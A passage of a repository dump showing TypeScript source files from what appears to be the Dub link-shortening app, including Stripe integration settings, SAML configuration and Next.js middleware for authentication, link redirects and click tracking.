<AnimatedSizeContainer height>\n            {freeTrialsEnabled && (\n              <div className=\"border-t border-neutral-200\">\n                <div className=\"flex items-center justify-between gap-4 p-5\">\n                  <div className=\"min-w-0 flex-1\">\n                    <label className=\"mb-1 block text-sm font-semibold text-neutral-900\">\n                      Track Provisioned Quantity\n                    </label>\n                    <MarkdownDescription className=\"text-sm text-neutral-600\">\n                      Whether to track the [provisioned\n                      quantity](https://docs.stripe.com/billing/subscriptions/quantities)\n                      in the subscription as separate lead events.\n                    </MarkdownDescription>\n                  </div>\n                  <Switch\n                    checked={trackQuantity}\n                    fn={setTrackQuantity}\n                    disabled={isPending}\n                  />\n                </div>\n              </div>\n            )}\n          </AnimatedSizeContainer>\n        </div>\n\n        <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-4 py-3\">\n          <div className=\"shrink-0\">\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text=\"Save changes\"\n              className=\"h-8 w-fit\"\n              loading={isPending}\n              disabled={!isDirty || isPending}\n            />\n          </div>\n        </div>\n      </div>\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/stripe/update-stripe-settings.ts",
    "content": "\"use server\";\n\nimport { authActionClient } from \"@/lib/actions/safe-action\";\nimport { prisma } from \"@dub/prisma\";\nimport { STRIPE_INTEGRATION_ID } from \"@dub/utils\";\nimport { revalidatePath } from \"next/cache\";\nimport * as z from \"zod/v4\";\nimport { stripeIntegrationSettingsSchema } from \"./schema\";\n\nconst schema = stripeIntegrationSettingsSchema.extend({\n  workspaceId: z.string(),\n});\n\nexport const updateStripeSettingsAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { freeTrials } = parsedInput;\n\n    const installedIntegration = await prisma.installedIntegration.findFirst({\n      where: {\n        integrationId: STRIPE_INTEGRATION_ID,\n        projectId: workspace.id,\n      },\n    });\n\n    if (!installedIntegration) {\n      throw new Error(\"Stripe integration is not installed on your workspace.\");\n    }\n\n    const current = (installedIntegration.settings as any) ?? {};\n\n    await prisma.installedIntegration.update({\n      where: {\n        id: installedIntegration.id,\n      },\n      data: {\n        settings: {\n          ...current,\n          freeTrials,\n        },\n      },\n    });\n\n    revalidatePath(`/${workspace.slug}/settings/integrations/stripe`);\n  });\n"
  },
  {
    "path": "apps/web/lib/integrations/types.ts",
    "content": "import * as z from \"zod/v4\";\nimport { hubSpotAuthTokenSchema, hubSpotContactSchema } from \"./hubspot/schema\";\n\nexport type HubSpotAuthToken = z.infer<typeof hubSpotAuthTokenSchema>;\n\nexport type HubSpotContact = z.infer<typeof hubSpotContactSchema>;\n\nexport type SlackAuthToken = {\n  appId: string;\n  botUserId: string;\n  scope: string;\n  accessToken: string;\n  tokenType: string;\n  authUser: {\n    id: string;\n  };\n  team: {\n    id: string;\n    name: string;\n  };\n  incomingWebhook: {\n    channel: string;\n    channelId: string;\n  };\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/utils.ts",
    "content": "import { storage } from \"@/lib/storage\";\nimport { Prisma } from \"@dub/prisma/client\";\nimport { R2_URL } from \"@dub/utils\";\n\nexport const deleteScreenshots = async (\n  screenshots: Prisma.JsonValue | null,\n) => {\n  const images = screenshots as string[];\n\n  if (!images || images.length === 0) {\n    return;\n  }\n\n  return await Promise.all(\n    images.map(async (image: string) => {\n      if (image.startsWith(`${R2_URL}/integration-screenshots`)) {\n        return storage.delete({ key: image.replace(`${R2_URL}/`, \"\") });\n      }\n    }),\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/zapier/ui/settings.tsx",
    "content": "\"use client\";\n\nimport { InstalledIntegrationInfoProps } from \"@/lib/types\";\nimport { ConfigureWebhook } from \"../../common/ui/configure-webhook\";\n\nexport const ZapierSettings = (props: InstalledIntegrationInfoProps) => {\n  const { installed, webhookId } = props;\n\n  return (\n    <>\n      {installed && webhookId && (\n        <ConfigureWebhook\n          webhookId={webhookId}\n          supportedEvents={[\n            \"link.created\",\n            \"link.updated\",\n            \"link.deleted\",\n            \"link.clicked\",\n            \"lead.created\",\n            \"sale.created\",\n            \"partner.application_submitted\",\n            \"partner.enrolled\",\n          ]}\n        />\n      )}\n    </>\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/is-generic-email.ts",
    "content": "import { extractEmailDomain } from \"./email/extract-email-domain\";\n\nconst GENERIC_EMAIL_DOMAINS = [\n  \"gmail.com\",\n  \"googlemail.com\",\n  \"ymail.com\",\n  \"icloud.com\",\n  \"aol.com\",\n  \"comcast.net\",\n  \"verizon.net\",\n  \"att.net\",\n  \"me.com\",\n  \"mac.com\",\n  \"msn.com\",\n  \"live.com\",\n  \"web.de\",\n  \"protonmail.com\",\n  \"proton.me\",\n  \"passinbox.com\",\n  \"163.com\",\n  \"duck.com\",\n  \"qq.com\",\n  \"zoho.com\",\n  \"fastmail.com\",\n  \"tutanota.com\",\n  \"tuta.com\",\n  \"privaterelay.appleid.com\",\n  \"qyver.online\",\n  \"naver.com\",\n  \"yeah.net\",\n  \"example.com\",\n];\n\nconst GENERIC_EMAIL_DOMAIN_PREFIXES = [\n  \"yahoo.\",\n  \"hotmail.\",\n  \"outlook.\",\n  \"gmx.\",\n  \"yandex.\",\n];\n\nexport const isGenericEmail = (email: string) => {\n  const emailDomain = extractEmailDomain(email);\n  if (!emailDomain) {\n    return false;\n  }\n\n  return (\n    GENERIC_EMAIL_DOMAINS.includes(emailDomain) ||\n    GENERIC_EMAIL_DOMAIN_PREFIXES.some((prefix) =>\n      emailDomain.startsWith(prefix),\n    )\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/jackson.ts",
    "content": "import type {\n  IConnectionAPIController,\n  IDirectorySyncController,\n  IOAuthController,\n  JacksonOption,\n} from \"@boxyhq/saml-jackson\";\nimport samlJackson from \"@boxyhq/saml-jackson\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\n\nexport const samlAudience = \"https://saml.dub.co\";\n\nconst opts: JacksonOption = {\n  externalUrl:\n    process.env.NODE_ENV === \"production\"\n      ? \"https://api.dub.co\"\n      : APP_DOMAIN_WITH_NGROK,\n  samlPath:\n    process.env.NODE_ENV === \"production\"\n      ? \"/auth/saml/callback\"\n      : \"/api/auth/saml/callback\",\n  samlAudience,\n  db: {\n    engine: \"planetscale\",\n    type: \"mysql\",\n    url: process.env.DATABASE_URL as string,\n    ssl: {\n      rejectUnauthorized: false,\n    },\n  },\n  idpEnabled: true, // to allow folks to SSO directly from their IDP\n  scimPath:\n    process.env.NODE_ENV === \"production\" ? \"/scim/v2.0\" : \"/api/scim/v2.0\", // custom SCIM endpoint\n  clientSecretVerifier: process.env.NEXTAUTH_SECRET as string,\n};\n\ndeclare global {\n  var apiController: IConnectionAPIController | undefined;\n  var oauthController: IOAuthController | undefined;\n  var directorySyncController: IDirectorySyncController | undefined;\n}\n\nexport async function jackson() {\n  if (\n    !globalThis.apiController ||\n    !globalThis.oauthController ||\n    !globalThis.directorySyncController\n  ) {\n    const ret = await samlJackson(opts);\n    globalThis.apiController = ret.connectionAPIController;\n    globalThis.oauthController = ret.oauthController;\n    globalThis.directorySyncController = ret.directorySyncController;\n  }\n\n  return {\n    apiController: globalThis.apiController,\n    oauthController: globalThis.oauthController,\n    directorySyncController: globalThis.directorySyncController,\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/links/links-display.ts",
    "content": "export const linksViewModes = [\"cards\", \"rows\"] as const;\n\nexport type LinksViewMode = (typeof linksViewModes)[number];\n\nexport const linksSortOptions = [\n  {\n    display: \"Date created\",\n    slug: \"createdAt\",\n  },\n  {\n    display: \"Total clicks\",\n    slug: \"clicks\",\n  },\n  {\n    display: \"Last clicked\",\n    slug: \"lastClicked\",\n  },\n  {\n    display: \"Total sales\",\n    slug: \"saleAmount\",\n  },\n] as const;\n\nexport type LinksSortSlug = (typeof linksSortOptions)[number][\"slug\"];\n\nexport const linksDisplayPropertyIds = [\n  \"icon\",\n  \"link\",\n  \"url\",\n  \"title\",\n  \"description\",\n  \"createdAt\",\n  \"user\",\n  \"tags\",\n  \"analytics\",\n] as const;\n\nexport const linksDisplayProperties: {\n  id: LinksDisplayProperty;\n  label: string;\n  switch?: LinksDisplayProperty;\n  mobile?: boolean;\n}[] = [\n  { id: \"link\", label: \"Short link\", switch: \"title\" },\n  { id: \"url\", label: \"Destination URL\", switch: \"description\" },\n  { id: \"title\", label: \"Title\", switch: \"link\" },\n  { id: \"description\", label: \"Description\", switch: \"url\" },\n  { id: \"createdAt\", label: \"Created Date\", mobile: false },\n  { id: \"user\", label: \"Creator\", mobile: false },\n  { id: \"tags\", label: \"Tags\" },\n  { id: \"analytics\", label: \"Analytics\" },\n];\n\nexport type LinksDisplayProperty = (typeof linksDisplayPropertyIds)[number];\n\nexport const defaultLinksDisplayProperties: LinksDisplayProperty[] = [\n  \"icon\",\n  \"link\",\n  \"url\",\n  \"createdAt\",\n  \"user\",\n  \"tags\",\n  \"analytics\",\n];\n"
  },
  {
    "path": "apps/web/lib/middleware/admin.ts",
    "content": "import { prismaEdge } from \"@dub/prisma/edge\";\nimport { DUB_WORKSPACE_ID } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { getUserViaToken } from \"./utils/get-user-via-token\";\nimport { parse } from \"./utils/parse\";\n\nexport async function AdminMiddleware(req: NextRequest) {\n  const { path } = parse(req);\n\n  const user = await getUserViaToken(req);\n\n  if (!user && path !== \"/login\") {\n    return NextResponse.redirect(new URL(\"/login\", req.url));\n  } else if (user) {\n    const isAdminUser = await prismaEdge.projectUsers.findUnique({\n      where: {\n        userId_projectId: {\n          userId: user.id,\n          projectId: DUB_WORKSPACE_ID,\n        },\n      },\n    });\n\n    if (!isAdminUser) {\n      return NextResponse.next(); // throw 404 page\n    } else if (path === \"/login\") {\n      return NextResponse.redirect(new URL(\"/\", req.url));\n    }\n  }\n\n  return NextResponse.rewrite(\n    new URL(`/admin.dub.co${path === \"/\" ? \"\" : path}`, req.url),\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/api.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\nimport { parse } from \"./utils/parse\";\n\nexport function ApiMiddleware(req: NextRequest) {\n  const { fullPath } = parse(req);\n\n  // redirect to dub.co for /metatags\n  if (fullPath.startsWith(\"/metatags\")) {\n    return NextResponse.redirect(\"https://dub.co\", {\n      status: 301,\n    });\n  }\n  // Note: we don't have to account for paths starting with `/api`\n  // since they're automatically excluded via our middleware matcher\n  return NextResponse.rewrite(new URL(`/api${fullPath}`, req.url));\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/app.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\nimport {\n  ONBOARDING_WINDOW_SECONDS,\n  onboardingStepCache,\n} from \"../api/workspaces/onboarding-step-cache\";\nimport { EmbedMiddleware } from \"./embed\";\nimport { NewLinkMiddleware } from \"./new-link\";\nimport { appRedirect } from \"./utils/app-redirect\";\nimport { getDefaultWorkspace } from \"./utils/get-default-workspace\";\nimport { getUserViaToken } from \"./utils/get-user-via-token\";\nimport { hasPendingInvites } from \"./utils/has-pending-invites\";\nimport { isTopLevelSettingsRedirect } from \"./utils/is-top-level-settings-redirect\";\nimport { parse } from \"./utils/parse\";\nimport { WorkspacesMiddleware } from \"./workspaces\";\n\nexport async function AppMiddleware(req: NextRequest) {\n  const { path, fullPath, searchParamsString } = parse(req);\n\n  if (path.startsWith(\"/embed\")) {\n    return EmbedMiddleware(req);\n  }\n\n  const user = await getUserViaToken(req);\n\n  // if there's no user and the path isn't /login or /register, redirect to /login\n  if (\n    !user &&\n    path !== \"/login\" &&\n    path !== \"/forgot-password\" &&\n    path !== \"/register\" &&\n    path !== \"/auth/saml\" &&\n    !path.startsWith(\"/auth/reset-password/\") &&\n    !path.startsWith(\"/share/\") &&\n    !path.startsWith(\"/deeplink/\")\n  ) {\n    return NextResponse.redirect(\n      new URL(\n        `/login${path === \"/\" ? \"\" : `?next=${encodeURIComponent(fullPath)}`}`,\n        req.url,\n      ),\n    );\n\n    // if there's a user\n  } else if (user) {\n    // /new is a special path that creates a new link (or workspace if the user doesn't have one yet)\n    if (path === \"/new\") {\n      return NewLinkMiddleware(req, user);\n\n      /* Onboarding redirects\n\n        - User was created less than a day ago\n        - User is not invited to a workspace (redirect straight to the workspace)\n        - The path does not start with /onboarding\n        - User doesn't have a default workspace\n        - User has not completed the onboarding flow\n      */\n    } else if (\n      new Date(user.createdAt).getTime() >\n        Date.now() - ONBOARDING_WINDOW_SECONDS * 1000 &&\n      ![\"/onboarding\", \"/account\"].some((p) => path.startsWith(p)) &&\n      !(await getDefaultWorkspace(user)) &&\n      !(await hasPendingInvites({ req, user })) &&\n      (await onboardingStepCache.get({ userId: user.id })) !== \"completed\"\n    ) {\n      let step = await onboardingStepCache.get({ userId: user.id });\n      if (!step) {\n        return NextResponse.redirect(new URL(\"/onboarding\", req.url));\n      } else if (step === \"completed\") {\n        return WorkspacesMiddleware(req, user);\n      }\n\n      const defaultWorkspace = await getDefaultWorkspace(user);\n\n      if (defaultWorkspace) {\n        // Skip workspace step if user already has a workspace\n        step = step === \"workspace\" ? \"link\" : step;\n        return NextResponse.redirect(\n          new URL(`/onboarding/${step}?workspace=${defaultWorkspace}`, req.url),\n        );\n      } else {\n        return NextResponse.redirect(new URL(\"/onboarding\", req.url));\n      }\n\n      // if the path is / or /login or /register, redirect to the default workspace\n    } else if (\n      [\n        \"/\",\n        \"/login\",\n        \"/register\",\n        \"/workspaces\",\n        \"/links\",\n        \"/analytics\",\n        \"/events\",\n        \"/customers\",\n        \"/program\",\n        \"/programs\",\n        \"/settings\",\n        \"/upgrade\",\n        \"/guides\",\n        \"/wrapped\",\n      ].includes(path) ||\n      path.startsWith(\"/program/\") ||\n      path.startsWith(\"/settings/\") ||\n      isTopLevelSettingsRedirect(path)\n    ) {\n      return WorkspacesMiddleware(req, user);\n    }\n\n    const appRedirectPath = await appRedirect(path);\n    if (appRedirectPath) {\n      return NextResponse.redirect(\n        new URL(`${appRedirectPath}${searchParamsString}`, req.url),\n      );\n    }\n  }\n\n  // otherwise, rewrite the path to /app\n  return NextResponse.rewrite(new URL(`/app.dub.co${fullPath}`, req.url));\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/create-link.ts",
    "content": "import { APP_DOMAIN, getUrlFromString } from \"@dub/utils\";\nimport { NextRequest, NextResponse } from \"next/server\";\nimport { parse } from \"./utils/parse\";\n\nexport function CreateLinkMiddleware(req: NextRequest) {\n  const { domain, fullPath } = parse(req);\n\n  const url = getUrlFromString(fullPath.slice(1));\n\n  const redirectURL = new URL(`${APP_DOMAIN}/new`);\n  redirectURL.searchParams.append(\"link\", url);\n  redirectURL.searchParams.append(\"domain\", domain);\n\n  return NextResponse.redirect(redirectURL.toString());\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/embed.ts",
    "content": "import { NextRequest, NextResponse } from \"next/server\";\nimport { parse } from \"./utils/parse\";\n\nexport function EmbedMiddleware(req: NextRequest) {\n  const { path, searchParamsObj, fullPath } = parse(req);\n\n  if (path.startsWith(\"/embed/support-chat\")) {\n    return NextResponse.rewrite(new URL(`/app.dub.co${fullPath}`, req.url));\n  }\n\n  if (searchParamsObj.token) {\n    return NextResponse.rewrite(new URL(`/app.dub.co${fullPath}`, req.url));\n  }\n\n  // TODO: Show token expiry page\n  return NextResponse.redirect(new URL(\"/\", req.url));\n}\n"
  },
  {
    "path": "apps/web/lib/middleware/link.ts",
    "content": "import { recordClick } from \"@/lib/tinybird\";\nimport { formatRedisLink } from \"@/lib/upstash\";\nimport {\n  APP_DOMAIN,\n  DUB_HEADERS,\n  LEGAL_WORKSPACE_ID,\n  LOCALHOST_GEO_DATA,\n  isDubDomain,\n  isUnsupportedKey,\n  nanoid,\n  punyEncode,\n} from \"@dub/utils\";\nimport { geolocation } from \"@vercel/functions\";\nimport { cookies } from \"next/headers\";\nimport {\n  NextFetchEvent,\n  NextRequest,\n  NextResponse,\n  userAgent,\n} from \"next/server\";\nimport { linkCache } from \"../api/links/cache\";\nimport { isCaseSensitiveDomain } from \"../api/links/case-sensitivity\";\nimport { recordClickCache } from \"../api/links/record-click-cache\";\nimport { getLinkViaEdge } from \"../planetscale\";\nimport { getPartnerEnrollmentInfo } from \"../planetscale/get-partner-enrollment-info\";\nimport { cacheDeepLinkClickData } from \"./utils/cache-deeplink-click-data\";\nimport { crawlBitly } from \"./utils/crawl-bitly\";\nimport { createResponseWithCookies } from \"./utils/create-response-with-cookies\";\nimport { detectBot } from \"./utils/detect-bot\";\nimport { getFinalUrl } from \"./utils/get-final-url\";\nimport { getIdentityHash } from \"./utils/get-identity-hash\";\nimport { handleNotFoundLink } from \"./utils/handle-not-found-link\";\nimport { isIosAppStoreUrl } from \"./utils/is-ios-app-store-url\";\nimport { isSingularTrackingUrl } from \"./utils/is-singular-tracking-url\";\nimport { isSupportedCustomURIScheme } from \"./utils/is-supported-custom-uri-scheme\";\nimport { parse } from \"./utils/parse\";\nimport { resolveABTestURL } from \"./utils/resolve-ab-test-url\";\n\nexport async function LinkMiddleware(req: NextRequest, ev: NextFetchEvent) {\n  let { domain, fullKey: originalKey, fullPath } = parse(req);\n\n  if (!domain) {\n    return NextResponse.next();\n  }\n\n  // encode the key to ascii\n  // links on Dub are case insensitive by default\n  let key = punyEncode(originalKey);\n\n  if (!isCaseSensitiveDomain(domain)) {\n    key = key.toLowerCase();\n  }\n\n  const inspectMode = key.endsWith(\"+\");\n  // if inspect mode is enabled, remove the trailing `+` from the key\n  if (inspectMode) {\n    key = key.slice(0, -1);\n  }\n\n  // if key is empty string, set to _root (root domain link)\n  if (key === \"\") {\n    key = \"_root\";\n  }\n\n  // we don't support .php links (too much bot traffic)\n  // hence we redirect to the root domain and add `dub-no-track` header to avoid tracking bot traffic\n  if (isUnsupportedKey(key)) {\n    return NextResponse.redirect(new URL(\"/?dub-no-track=1\", req.url), {\n      headers: {\n        ...DUB_HEADERS,\n        \"X-Robots-Tag\": \"googlebot: noindex\",\n      },\n      status: 302,\n    });\n  }\n\n  let cachedLink = await linkCache.get({ domain, key });\n  let isPartnerLink = Boolean(cachedLink?.programId && cachedLink?.partnerId);\n\n  if (!cachedLink) {\n    let linkData = await getLinkViaEdge({\n      domain,\n      key,\n    });\n\n    if (!linkData) {\n      if (domain === \"buff.ly\") {\n        return await crawlBitly(req);\n      }\n\n      return await handleNotFoundLink(req);\n    }\n\n    isPartnerLink = Boolean(linkData.programId && linkData.partnerId);\n\n    // format link to fit the RedisLinkProps interface\n    cachedLink = formatRedisLink(linkData as any);\n\n    ev.waitUntil(\n      (async () => {\n        if (!isPartnerLink) {\n          await linkCache.set(linkData as any);\n          return;\n        }\n\n        const { partner, discount } = await getPartnerEnrollmentInfo({\n          programId: linkData.programId,\n          partnerId: linkData.partnerId,\n        });\n\n        // we'll use this data on /track/click\n        await linkCache.set({\n          ...(linkData as any),\n          ...(partner && { partner }),\n          ...(discount && { discount }),\n        });\n      })(),\n    );\n  }\n\n  const {\n    id: linkId,\n    password,\n    trackConversion,\n    geo: geoTargeting,\n    proxy,\n    rewrite,\n    expiresAt,\n    disabledAt,\n    ios,\n    android,\n    expiredUrl,\n    doIndex,\n    webhookIds,\n    testVariants,\n    testCompletedAt,\n    projectId: workspaceId,\n  } = cachedLink;\n\n  const testUrl = await resolveABTestURL({\n    testVariants,\n    testCompletedAt,\n  });\n\n  const url = testUrl || cachedLink.url;\n\n  // if the following is true, we need to cache the clickId data (so it's available for subsequent /track/lead requests):\n  // - trackConversion is enabled\n  // - it's a partner link\n  // - it's a Singular tracking URL\n  const shouldCacheClickId =\n    trackConversion || isPartnerLink || isSingularTrackingUrl(url);\n\n  // by default, we only index default dub domain links (e.g. dub.sh)\n  // everything else is not indexed by default, unless the user has explicitly set it to be indexed\n  const shouldIndex = isDubDomain(domain) || doIndex === true;\n\n  // only show inspect modal if the link is not password protected\n  if (inspectMode && !password) {\n    return NextResponse.rewrite(\n      new URL(`/inspect/${domain}/${encodeURIComponent(key)}+`, req.url),\n      {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n      },\n    );\n  }\n\n  // if the link is password protected\n  if (password) {\n    const pw =\n      req.nextUrl.searchParams.get(\"pw\") ||\n      req.cookies.get(`dub_password_${linkId}`)?.value;\n\n    // rewrite to auth page (/password/[domain]/[key]) if:\n    // - no `pw` param is provided\n    // - the `pw` param is incorrect\n    // this will also ensure that no clicks are tracked unless the password is correct\n    if (!pw || (await getLinkViaEdge({ domain, key }))?.password !== pw) {\n      return NextResponse.rewrite(new URL(`/password/${linkId}`, req.url), {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && {\n            \"X-Robots-Tag\": \"googlebot: noindex\",\n          }),\n        },\n      });\n    } else if (pw) {\n      // strip it from the URL if it's correct\n      req.nextUrl.searchParams.delete(\"pw\");\n    }\n  }\n\n  // if the link is banned\n  if (workspaceId === LEGAL_WORKSPACE_ID) {\n    return NextResponse.rewrite(new URL(\"/banned\", req.url), {\n      headers: {\n        ...DUB_HEADERS,\n        ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n      },\n    });\n  }\n\n  // handle disabled links\n  if (disabledAt) {\n    return await handleNotFoundLink(req);\n  }\n\n  // if the link has expired\n  if (expiresAt && new Date(expiresAt) < new Date()) {\n    if (expiredUrl) {\n      return NextResponse.redirect(expiredUrl, {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n        status: 302,\n      });\n    } else {\n      return NextResponse.rewrite(new URL(`/expired/${domain}`, req.url), {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n      });\n    }\n  }\n\n  const dubIdCookieName = `dub_id_${domain}_${key}`;\n\n  const cookieStore = await cookies();\n  let clickId = cookieStore.get(dubIdCookieName)?.value;\n  if (!clickId) {\n    // if we need to pass the clickId, check if clickId is cached in Redis\n    if (shouldCacheClickId) {\n      const identityHash = await getIdentityHash(req);\n      clickId =\n        (await recordClickCache\n          .get({ domain, key, identityHash })\n          .catch(() => undefined)) || undefined;\n    }\n\n    // if there's still no clickId, generate a new one\n    if (!clickId) {\n      clickId = nanoid(16);\n    }\n  }\n\n  const cookieData = {\n    path: `/${originalKey}`,\n    dubIdCookieName,\n    dubIdCookieValue: clickId,\n    dubTestUrlValue: testUrl,\n  };\n\n  // for root domain links, if there's no destination URL, rewrite to placeholder page\n  if (!url) {\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    return createResponseWithCookies(\n      NextResponse.rewrite(new URL(`/${domain}`, req.url), {\n        headers: {\n          ...DUB_HEADERS,\n          // we only index root domain links if they're not subdomains\n          ...(shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n      }),\n      cookieData,\n    );\n  }\n\n  const isBot = detectBot(req);\n  const ua = userAgent(req);\n\n  const { country } =\n    process.env.VERCEL === \"1\" && geolocation(req)\n      ? geolocation(req)\n      : LOCALHOST_GEO_DATA;\n\n  // rewrite to proxy page (/proxy/[domain]/[key]) if it's a bot and proxy is enabled\n  if (isBot && proxy) {\n    return createResponseWithCookies(\n      NextResponse.rewrite(\n        new URL(`/proxy/${domain}/${encodeURIComponent(key)}`, req.url),\n        {\n          headers: {\n            ...DUB_HEADERS,\n            ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n          },\n        },\n      ),\n      cookieData,\n    );\n\n    // rewrite to custom-uri-scheme page if the link is a custom URI scheme\n  } else if (isSupportedCustomURIScheme(url)) {\n    const finalUrl = getFinalUrl(url, {\n      req,\n      ...(shouldCacheClickId && { clickId }),\n      ...(isPartnerLink && { via: key }),\n    });\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    return createResponseWithCookies(\n      NextResponse.rewrite(\n        new URL(`/custom-uri-scheme/${encodeURIComponent(finalUrl)}`, req.url),\n        {\n          headers: {\n            ...DUB_HEADERS,\n            ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n          },\n        },\n      ),\n      cookieData,\n    );\n\n    // rewrite to target URL if link cloaking is enabled\n  } else if (rewrite) {\n    const finalUrl = getFinalUrl(url, {\n      req,\n      ...(shouldCacheClickId && { clickId }),\n      ...(isPartnerLink && { via: key }),\n    });\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    return createResponseWithCookies(\n      NextResponse.rewrite(\n        new URL(`/cloaked/${encodeURIComponent(finalUrl)}`, req.url),\n        {\n          headers: {\n            ...DUB_HEADERS,\n            ...(!shouldIndex && {\n              \"X-Robots-Tag\": \"googlebot: noindex\",\n            }),\n          },\n        },\n      ),\n      cookieData,\n    );\n\n    // redirect to iOS link if it is specified and the user is on an iOS device\n  } else if (ios && ua.os?.name === \"iOS\") {\n    const finalUrl = getFinalUrl(ios, {\n      req,\n      ...(shouldCacheClickId && { clickId }),\n      ...(isPartnerLink && { via: key }),\n    });\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    // if it's an iOS app store URL (and skip_deeplink_preview is not set)\n    // we need to show the interstitial page + cache deep link click data\n    if (\n      isIosAppStoreUrl(ios) &&\n      !req.nextUrl.searchParams.get(\"skip_deeplink_preview\")\n    ) {\n      ev.waitUntil(\n        cacheDeepLinkClickData({\n          req,\n          clickId,\n          link: {\n            id: linkId,\n            domain,\n            key,\n            url, // pass the main destination URL to the cache (for deferred deep linking)\n          },\n        }),\n      );\n\n      // redirect to the deeplink interstitial splash page \"DeepLinkPreviewPage\"\n      // we're doing this because the interstitial page needs to be on a different domain than the actual deep link domain\n      // @see: https://stackoverflow.com/a/78189982/10639526\n      return createResponseWithCookies(\n        NextResponse.redirect(\n          new URL(`/deeplink/${domain}${fullPath}`, APP_DOMAIN),\n          {\n            headers: {\n              ...DUB_HEADERS,\n              ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n            },\n          },\n        ),\n        cookieData,\n      );\n    }\n    return createResponseWithCookies(\n      NextResponse.redirect(finalUrl, {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n        status: key === \"_root\" ? 301 : 302,\n      }),\n      cookieData,\n    );\n\n    // redirect to Android link if it is specified and the user is on an Android device\n  } else if (android && ua.os?.name === \"Android\") {\n    const finalUrl = getFinalUrl(android, {\n      req,\n      ...(shouldCacheClickId && { clickId }),\n      ...(isPartnerLink && { via: key }),\n    });\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    return createResponseWithCookies(\n      NextResponse.redirect(finalUrl, {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n        status: key === \"_root\" ? 301 : 302,\n      }),\n      cookieData,\n    );\n\n    // redirect to geo-targeting link if it is specified and the user is in the specified country\n  } else if (geoTargeting && country && country in geoTargeting) {\n    const finalUrl = getFinalUrl(geoTargeting[country], {\n      req,\n      ...(shouldCacheClickId && { clickId }),\n      ...(isPartnerLink && { via: key }),\n    });\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    return createResponseWithCookies(\n      NextResponse.redirect(finalUrl, {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n        status: key === \"_root\" ? 301 : 302,\n      }),\n      cookieData,\n    );\n\n    // regular redirect\n  } else {\n    const finalUrl = getFinalUrl(url, {\n      req,\n      ...(shouldCacheClickId && { clickId }),\n      ...(isPartnerLink && { via: key }),\n    });\n    ev.waitUntil(\n      recordClick({\n        req,\n        clickId,\n        workspaceId,\n        linkId,\n        domain,\n        key,\n        url: finalUrl,\n        programId: cachedLink.programId,\n        partnerId: cachedLink.partnerId,\n        webhookIds,\n        shouldCacheClickId,\n      }),\n    );\n\n    return createResponseWithCookies(\n      NextResponse.redirect(finalUrl, {\n        headers: {\n          ...DUB_HEADERS,\n          ...(!shouldIndex && { \"X-Robots-Tag\": \"googlebot: noindex\" }),\n        },\n        status: key === \"_root\" ? 301 : 302,\n      }),\n      cookieData,\n    );\n  }\n}\n"
  },
  {
